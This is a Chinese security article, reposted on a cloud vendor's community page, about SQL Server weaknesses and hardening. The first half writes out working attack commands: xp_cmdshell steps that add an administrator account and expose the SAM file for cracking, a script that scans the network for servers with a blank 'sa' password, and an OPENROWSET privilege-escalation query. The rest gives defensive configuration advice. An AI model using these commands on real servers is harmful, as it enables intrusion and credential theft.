關於SQL SERVER的一些安全問題

來源:互聯網
上載者:User
關鍵字 安全 SQL Server
目前關於NT伺服器的入侵,有很多種方法,如對IIS的漏洞進行利用,但大家不知道注意到沒有,其實通過與NT伺服器相關聯的SQL資料庫伺服器的例子也是很有比例的一種手段。 Herbless入侵破壞的一些網站,如legoland.co.uk網站就是通過SQL伺服器的入侵而獲得對系統的控制權而破壞的。 所以對SQL伺服器的保護是必不可少的,這裡我整理了一些漏洞供大家來參考。 --------------------------------------------------------------我們先來看看SQL服務程式支援的網路通訊協定庫:--------------------------- -----------------------------------| SQL Server Network Protocol Libraries |--------------------------------------------------------------| Protocol library| 可能存在的漏洞 | 是否加密 |--------------------------------------------------------------| Named pipes | --使用NT SMB埠(TCP139,UDP137, | 否 || (有名管道) | 138)來進行通信,這些可以被通 | || | 的防火牆控制,但如果內部網路可| || | 隨意訪問的話也是一個不小的缺陷| || | --使用者名字,密碼和資料沒有進行加| || | 傳輸,任何人可以通過SNIFFER來 | || | 進行資料捕獲。 | |--------------------------------------------------------------| IP Sockets | --預設狀態下開1433口,你可以使用| 否 || | 掃描器來查看這個埠。 | || | 可以被SNIFFER截獲資料。 | |--------------------------------------------------------------| Multi-Protocol | --用戶端需要支援NT RPCs;在不同 | 是 || | 種類的環境中可能引起問題。 | || | --預設情況下使用TCP隨機埠,但| || | 防火牆進行埠圖固定實現(參 | || | 看KB Q164667)。 | || | --需要注意加密選項是否選擇,默 | || | 是不選擇此選項的。 | |--------------------------------------------------------------| NWLink | --存在被SNIFFER截獲資料的危險 | 否 |--------------------------------------------------------------| AppleTalk (ADSP)| --存在被SNIFFER截獲資料的危險 | 否 |--------------------------------------------------------------| Banyan Vines | --存在被SNIFFER截獲資料的危險 | 否 |--------------------------------------------------------------一般的推薦使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者Multi-protocol,那你就使用這些協定庫,如果可能,儘量使用Multi-protocol和使能加密選項。 如果你上面幾個不能使用,那就使用IP Sockets協定,並改變其預設的埠並隨時檢查系統保證無任何SNIFFER存在。 並且,考慮使用一WEB服務或者COM元件作為應用程式的business object layer,並在中介層和SQL服務程式中使用安全通道(secure channel)。 有不少協力廠商的產品可以加密這方面的通信。 ---------------------------------------------------------------------下面再講一下SQL SERVER的各種安全模式和它們怎樣進行工作? 安全模式定義了一些SQL SERVER是怎樣認證要使用它們服務的使用者,請看下面SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區別:-----------------------------------------------------------------|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |-----------------------------------------------------------------| Standard | --登陸定義在SQL SERVER裡| --單獨的標準模式在SQL SERVER|| 標準模式 | 而且給定密碼。 | 沒有使用了。 || | --SQL SERVER的登錄帳戶與| || | WINDOW NT分開 | |-----------------------------------------------------------------| Integrated |-使用安全管理器SQL的帳 | --在這裡成為"Windows NT only"|| 綜合模式 | 戶。 | 模式。 || |-使用者在連接到SQL SERVER| --只工作在NT系統下,在WIN9X不|| | 不需要特定分開LOGIN和 | 支援。 || | 密碼。 | || |-密碼從不存儲在應用程式| --可以直接結合到NT的組中便於 || | 中,並不以明文在網路中| 管理,(注意有一BUILTIN組在|| | 傳輸。 | 本地系統上產生). || |-SQL SERVER可以使用NT的| || | 的認證方式來認證使用者並| || | 可以使用如帳戶過期等。| || |-需要Named Pipe或Multi-| || | Protocol庫。 | |------------------------------------------------------------------| Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT || 混合性方式 | 征但有後退的東西是客戶| 模式。 || | 端不能建立可信任連接。| --儘量使用WINDOW NT ONLY模式 | |------------------------------------------------------------------登錄只不過是第一步,一旦使用者登錄, 使用者必須訪問獨立的資料庫,要使上面的成立,就必須在sysusers表裡存在一表目給使用者用的每個資料庫。 所以安全請你注意在你的資料庫中是否存在"guest"帳戶和保證不會在你不注意的時候給某些人訪問你的資料庫。 詳細的大家可以參看微軟的網站:HTTP://www.microsoft.com/technet/SQL/Technote/ secure.asp-------------------------------------------------------------------關於SQL SERVER存在的一些安全問題:存在"sa"帳戶, 密碼就為空,而且這個密碼是SQL SERVER安全模組成員,我們就可以通過xp_cmdshell stored procedure(擴充預存程序)來進行命令操作,如:Xp_cmdshell "net user testuser UgotHacked /ADD"然後在:Xp_cmdshell "net localgroup Administrators testuser /ADD"這樣攻擊者就成功的在SQL SERVER上增加了一個使用者。 當然遠端的話,一般需要有1433口開著,通過MYSQL 用戶端進行連接。 當然你也可以使用:Xp_cmdshell "rdisk /s-"的方法,這樣就在\winnt\repair目錄裡重建了資訊而不提示使用者。 然後在SAM備份以後,攻擊者可以建立一個SMB連接到共用或者建立一個連接:Xp_cmdshell "net share getsam=c:\winnt\repair"利用共用獲得這個檔,然後在使用l0phtcrack來跑吧。 如果SMB埠被防火牆控制了,或者關閉了,攻擊者也可以拷貝sam._檔到WEB目錄進行匿名瀏覽器下載。 如果人家沒有開IIS,你何不用tftp呢:). OK,通過這台被控制的SQL SERVER伺服器,攻擊者可以通過它來查找網路內部其他機器來擴大戰果,下面是一個SQL腳本來列舉網路中其他SQL SERVER存在空帳戶'sa' 的示例:---------------------------------------------------------------------Create temp table to store enumerated servers SET NOCOUNT ON CREATE TABLE #temp (shelldump Varchar(255)) INSERT #temp EXEC xp_cmdshell 'osql -L' DECLARE @current_server Varchar(255), @conn_string Varchar(255) DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp OPEN sql_curs or FETCH NEXT FROM sql_cursor INTO @current_server Loop through potential targets and check for null sa accounts If target is vulnerable, version information will be displayedWHILE @@FETCH_STATUS = 0 BEGIN If @current_server <> 'Servers:' BEGIN SELECT @current_server = rtrim(ltrim(@current_server))  SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @curre nt_server + ' -Usa -P -Q "select @@version"''' PRINT 'Attempting connection to server: ' + @current_server EXECUTE (@conn_ string) PRINT '=====================================================================' END FETCH NEXT FROM sql_cursor INTO @current_server END Clean up CLOSE sql_cursor DEALLOCATE sql_cursorDROP TABLE # TEMP--------------------------------------------------------------------當然有些人也可能關閉xp_cmdshell extended stored procedure(擴充預存程序),我們也可以使用下面的方法:xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'如果MSSqlserver 服務在本機系統帳戶下運行,並且如果系統上沒有安裝syskey,上面的調用就可以返回註冊表中加密的密碼或者SID。 ------------------------------------------------------------------------另一個漏洞,是關於adhoc heterogenous queries 來進行權利的提升,請看下面微軟的描述:HTTP://www.microsoft.com/technet/security/bulletin/ fq00-014.asp關於上面的漏洞,可以使用下面的xploit來獲得權利的提升:SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source= myserver','SET FMTONLY OFF execute master.. xp_cmdshell "dir c:\"')這是大家比較喜歡的一種可以執行其他命令,自己想吧。 -------------------------------------------------------------------------還有就是最近的一個漏洞:Extended Stored Procedure Parameter Parsing (擴充預存程序參數解析)的漏洞,詳細資訊在這個URL有介紹:HTTP://www.microsoft.com/technet/security/bulletin/ms00-092.asp。 起主要問題是在MSD中提供一個API函數srv_paraminfo(),它是用來擴充預存程序調用時解釋深入參數的,如:exec <預存程序名> <參數1>, <參數2>, ... 如要查詢「c:\winnt」的目錄樹,可以如下表達:exec xp_dirtree 'c:\winnt'但沒有檢查各個參數的長度,傳遞相當長的字串,就存在了覆蓋其他堆疊參數的可能導致緩衝溢出。 目前已經知道的過程如下:目前已知受影響的擴充預存程序如下:1、xp_peekqueue (xpqueue.dll)xp_printstatements (xprepl.dll)給第一個參數傳遞超長的字符串會覆蓋例外處理常式所保存的返回位址。 2、xp_proxiedmetadata (xprepl.dll)該預存程序使用4個參數。 給第二個參數傳遞超長的字串會覆蓋例外處理常式所保存的返回位址。 3、xp_SetSQLSecurity (xpstar.dll)該預存程序使用4個參數。 給第三個參數傳遞超長的字串會使整個SQL Server進程立即終止。 4、xp_displayparamstmt(xprepl.dll)xp_enumresultset(xprepl.dll)xp_showcolv (xprepl.dll)xp_updatecolvbm (xprepl.dll )給第一個參數傳遞超長的串將導致非法操作並覆蓋例外處理常式所保存的返回位址。 這裡告訴大家一個技巧性的東西,如果想要知道這些擴充預存程序調用了那寫dll檔,你可以如下操作,如:select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name = 'xp_peekqueue' 這樣你就可以獲得調用這個擴充預存程序的DLL了,如果微軟沒有出補丁的話,你就暫時把這個DLL檔改名吧,當然有些DLL檔調用幾個擴充預存程序, 不能盲目更改,否則導致其他的也不能使用,你需要使用下面的操作來知道DLL調用那些擴充預存程序:select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll' 幸好微軟出了補丁,你可以到下面的地方找到,不用一個一個找DLL程式了,呵呵:HTTP://support.microsoft.com/support/sql /xp_security.asp這個漏洞@stake發現並提供演示的測試代碼,大家可在這裡找到:HTTP://www.atstake.com/research/advisories/2000/ sqladv2-poc.c------------------------------------------------------------------------OK,當然SQL SERVER也有一些其他漏洞, 相對輕微些,如ISS發現的管理員LOGIN ID存儲在註冊表中,其加密的方法比較簡單,很容易獲得,詳細情況請看:HTTP://xforce.iss.net/alerts/advise45.php3。 大家可以到其他地方找找。 -------------------------------------------------------------------一些對SQL SERVER系統的安全建議:保證打上最新的安全補丁,如下:Windows NT 4.0 - Service Pack 6aSQL Server 6.5 - Service Pack 5aSQL Server 7.0 - Service Pack 2. (Various hotfixes - check HTTP://www.microsoft.com/download) SQL Server 2000 - Hotfix S80233i.exe (Intel)當然大家要密切注意微軟的安全公告。 不要在IP sockets使用埠1433,如果你使用Multi-protocol也請修改埠。 不要把'sa'密碼嵌入到任意應用程式如VB/DELPHI apps裡,或者一global.asa檔裡,因為"sa"是SQL Server 的一個預設密碼,其許可權類似與WINDOWS NT系統裡的管理員帳戶,而且密碼為空。 改變'sa'和'probe'帳戶的密碼。 保證SQL SERVER的錯誤記錄在NTFS系統上。 如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )就不要把xp_cmdshell extended stored proc(擴充預存程序) 留在伺服器上。 在任何isql視窗中輸入:use mastersp_dropextendedproc 'xp_cmdshell'丟棄不需要OLE自動預存程序,當然Enterprise Manager中的某些特徵也會不能使用, 這些過程包括如下:Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_ OAStop去掉不需要的註冊表訪問過程,如下:Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite去掉其他系統預存程序,如果你認為你覺得你還有威脅, 當然要小心Drop這些過程,你可以在測試機器上測試,保證你正常的系統能完成工作,這些過程包括:sp_bindsession sp_cursor sp_cursorclosesp_cursorfetch sp_ cursoropen sp_cursoroptionsp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadBytesp_OACreate sp_OADestroy sp_ OAGetErrorInfosp_OAGetProperty sp_OAMethod sp_OASetPropertysp_OAStop sp_replcmds sp_replcounterssp_repldone sp_ replflush sp_replstatussp_repltrans sp_sdidebug xp_availablemediaxp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsnxp_enumerrorlogs xp_enumgroups xp_enumqueuedtasksxp_eventlog xp_findnextmsg xp_fixeddrivesxp_ getfiledetails xp_getnetname xp_grantloginxp_logevent xp_loginconfig xp_logininfoxp_makewebtask xp_msver xp_ perfendxp_perfmonitor xp_perfsample xp_perfstartxp_readerrorlog xp_readmail xp_revokeloginxp_runwebtask xp_ schedulersignal xp_sendmailxp_servicecontrol xp_snmp_getstate xp_snmp_raisetrapxp_sprintf xp_sqlinventory xp_ sqlregisterxp_sqltrace xp_sscanf xp_startmailxp_stopmail xp_subdirs xp_unc_to_drive 去掉資料庫中guest使用者。 關閉SQL MAIL相容能力,防止傳遞一些木馬病毒等。 設置一個任務處理來定時運行下面的程式:findstr /C:"Login Failed" \mssql7\log\*.*'再重定向到其他檔或者MAIL到管理員信箱。 經常檢查帶有空密碼的帳戶:Use masterSelect name,Passwordfrom sysloginswhere password is nullorder by name檢查所有不需要'sa' 許可權的預存程序和擴充預存程序存取權限:Use masterSelect sysobjects.nameFrom sysobjects, sysprotectsWhere sysprotects.uid = 0AND xtype IN (' X','P')AND sysobjects.id = sysprotects.idOrder by name保證SQL SERVER的傳輸資訊在隔離的網路段中。 責任編輯 趙毅 zhaoyi#51cto.com TEL:(010)68476636-8001 給力(0票)動心(0票)廢話(0票)專業(0票)標題党(0票)路過(0票) 原文:關於SQL SERVER的一些安全問題 返回網路安全首頁
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.